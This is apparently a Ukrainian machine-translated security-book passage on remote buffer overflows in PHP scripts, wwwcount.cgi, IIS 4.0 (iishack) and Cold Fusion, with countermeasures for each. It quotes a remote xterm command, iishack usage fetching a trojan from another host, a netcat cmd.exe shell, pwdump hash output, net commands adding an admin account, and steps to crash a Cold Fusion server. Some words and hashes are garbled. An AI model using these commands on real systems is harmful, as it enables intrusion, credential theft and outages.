Переповнювання буфера
Багато
років проблеми, пов'язані з переповнюванням буфера, були серйозним недоліком системи захисту системи UNIX. Після появи в 1995 році статті How to write buffer overflow в
світі UNIX багато що змінилося. У класичній статті Алефа Вана (Aleph One) Smashing the stack for fun and profit, вперше опублікованою в журналі Phrack Magazine в 1996 році, детально описано, наскільки просто добитися переповнювання буфера.
Для
тих, хто незнайомий з цією концепцією постараємося її чітко сформулювати. Переповнювання буфера дозволяє зломщикові помістити в змінну значення, яке більше, ніж максимально допустиме. Після цього він зможе виконати довільний код з привілеями поточного користувача, зазвичай root. В більшості випадків проблема полягає в погано написаному коді. Прикладом такої коди може бути програма, що поміщає дані в буфер і не перевіряюча їх розмір. Найбільш популярна команда, яку можна видалено виконати в системі Solaris, виглядає приблизно таким чином: /usr/openwin/bin/xterm -display <your_ip_address>: 0 .
0 &.
Вади,
що розглядаються нижче, дозволять отримати повне уявлення про методи, які зломщики використовують для видаленого переповнювання буфера. Маючи таку інформацію, ви зможете поліпшити якість і надійність своїх програм.
Вада РНР
У сценаріях
РНР є два (а можливо і більше) вад. Одін з них є звичайною проблемою відсутності перевірки введення, що стала лихом для багатьох сценаріїв, що розроблялися раніше. З використанням цієї вади зломщики могли проглянути будь-який файл цільової системи.
Контрзаходи проти використання із'яноврнр
Забезпечити захист можна двома способами:
- Видалите уразливі сценарії.
- Відновите сценарії РНР до найостаннішої версії.
Вада wwwcount.cgi
Програма wwwcount є популярним лічильником Web. Вперше про її ваду і його застосування стало відомо в 1997 році. Цю ваду дозволяє зломщик)' видалено виконувати будь-який код на локальній системі. Широкій громадськості принаймні стало відомо два приклади використання цієї вади, проте в обох випадках відбувалося в основному одне і те ж: "захоплення" зломщиком вікна xterm.
Контрзаходи проти використання nsbflhawwwcount
Запобігти використанню вади програми wwwcount можна двома способами:
- Видалите сценарій wwwcount. cgi.
- Відміните для сценарію право на виконання за допомогою команди chmod -х wwwcount.cgi.
Вада iishack сервера IIS 4.0
У
червні 1999 року широкій громадськості стало відомо про прикру помилку в системі захисту сервера IIS 4.0, яка виявилася серйозною загрозою безпеці Web-сервера компанії Microsoft. Ця вада була виявлена групою експертів по питаннях
безпеки єєує, яка помістила в Internet початковий код і виконуваний файл, за допомогою якого можна здійснити злом. Джерелом проблеми є недостатня перевірка меж імен файлів .нтк .STM і .юс, URL, що містяться в адресах. Це дозволяє зломщикові помістити в цю адресу код, який буде завантажений на цільову систему і виконаний з правами адміністратора.
Програма,
що демонструє використання даної вади, називається iishack, а знайти її можна за адресою
http://www.technotronic.com (а також і на інших Web-узлах). При цьому досить вказати адресу URL і ім'я файлу типу "троянський кінь", якого потрібно запустити:
C:\nt\>iishack 10.12.24.2 80 172.29.11.101/getem.exe
---(US 4.0 remote buffer overflow exploit)—
(з) dark spyrit — barns@eeye.com. http://www.eEye.com
[usage: iishack <host> <port> <url>]
eg - iishack www.example.com 80 www.myserver.com/thetrojan.exe
do not include 'http://1 before hosts!
Data sent!
Створена
авторами проста програма типу "троянський кінь" getem.exe, розпаковує утиліту pwdump.exe (що дозволяє отримати дамп хеш-кодов бази даних SAM), запускає утиліту netcat, налаштовану на прослуховування порту 25, і повертає назад командну оболонку (nc -nw -l -р 25 -t -і cmd.exe). Після успішного виконання всіх цих дій на власному комп'ютері можна запустити утиліту netcat, отримавши таким чином в своє розпорядження командну оболонку і локальний доступ з привілеями облікового запису SYSTEM (тобто з правами адміністратора):
C:\>nc -nw 10.11.1.1 26
(UNKNOWN) [10.11.1.1] 26 (?) open Microsoft(R)
Windows NT (ТМ) (C) Copyright 1985-1996 Microsoft Corp.
З:>pwdump
administrator:500:03096b7cd9133319790f5b37eab66"e30:
5aca8a3a546dd587a 58A251205881082:
Built-in account for administering the computer/doma in:
Guest:501:no PASSWORD
**************;NO Password**************
*******:Built-in account for guest access to the computer/domain::
sqldude:1000:853fd8dofa7ecfofaad3b435b
51404EE:EE319BA58C3E9BCB45AB13 Cd7651fe14:::
Sqlexecutivecmdexec:1001:01fc5a6be7bc6929aad3b435b51404ee:
Ocb6948805 F797bf2a82807973b89537:sqlexecutivecmdexec
SQL Executive Cmdexec Task Account:c_:
За допомогою простих команд копіювання і вставки, вживаних в командному рядку, а також програми Lophtcrack, яка використовується для злому хеш-кодов, можна отримати в своє розпорядження пароль адміністратора (і будь-якого іншого користувача системи).
Простіша (але менш прихована) атака полягає в створенні нового користувача за допомогою команди net localgroup password haxor /add, а потім додавання цього користувача (в даному випадку haxor) в групу адміністраторів за допомогою команди net localgroup Administrators haxor /add. Якщо порт NETBIOS сервера (TCP 139) відкритий для зломщика, то він може до нього підключитися і робити все що завгодно. Звичайно ж, оскільки зломщик виконує в системі значні зміни, то їх можна виявити з використанням простих засобів аудиту системи.
Контрзаходи проти вад US 4.0
Спочатку компанія Microsoft розробила комплекс рекомендацій для усунення цієї проблеми, а потім випустила модуль оновлення. Група експертів eeye випустила свій власний модуль оновлення, проте завжди рекомендується використовувати засоби від виробника.
Вада переповнювання полів
У читача може виникнути питання, чи "Дійсно можна зламати Web-сервер, користуючись тільки web-броузером?" На це питання можна відповісти цілком ясно: "ТАК". Програмісти в Web насамперед піклуються про продуктивність, відсовуючи питання безпеки на другий план. Краще всього це видно на прикладі помилки, що виникає при переповнюванні буфера на сервері Cold Fusion, яка була виявлена групою Foundstone. Проблема полягає в тому, яким чином компанія Allaire реалізувала перевірку достовірності вхідних даних, які вводяться в поле пароля адміністратора. Користуючись недостатньо повним очищенням цього поля, зломщик за допомогою одного броузера може практично повністю вивести Web-сервер з ладу. От як це можна зробити.
1. Введіть в броузере адресу сторінки реєстрації адміністратора в системі на типовому сервері Cold Fusion:
2. За допомогою відповідної команди (у броузере Netscape — це File =*Edit Page) перейдіть в режим редагування коди HTML.
3. Двічі клацніть на дескрипторі ACTION (верхній лівий) і зміните його, вставивши ім'я/адресу URL сервера:
<form
Action="http://192.168.51.101/cfide/administrator/index.cfm"
Method="post">
4. Зміните дескриптор HTML з ім'ям Passwordprovided, який містить пароль, а потім зміните властивості size і MAXLENGTH:
<input
Name="passwordprovided" Type="password"
Size="1000000" Maxlength="10ооооо">
5. Клацніть на кнопці Preview, розташованій на панелі інструментів Netscape, і збережете цей файл у форматі HTML.
6. Поле введення пароля тепер повинне розширитися управо і вийти за межі екрану. Згенеруйте близько 1,000,000 символів і скопіюйте їх в це поле.
7. Клацніть на кнопці Password. Якщо все пройшло добре (або погано, якщо ви є системним адміністратором), то можна буде побачити наступне:
На приведеному малюнку можна побачити, що виконані вище дії привели до підйому використання процесора сервера до 100%. Якщо подібні запити продовжують поступати те, врешті-решт, відбудеться переповнювання пам'яті. Більш того, якщо на сервер відправити більше мільярда символів, це остаточно виведе його з ладу. У будь-якому випадку, для з'ясування причини збою доведеться перезавантажувати систему.
Контрзаходи
Єдиним
ефективним вирішенням проблеми подібного роду є використання в кожній програмі, що розробляється, процедури очищення вхідних даних. У розглянутому випадку можна перемістити сторінку адміністратора в якійсь інший каталог або виконати рекомендації по забезпеченню безпеки сервера Cold Fusion, які можна знайти за адресою
http://www.allaire.com/Handlers/index.cfm?ID=10954&Method=Full.
|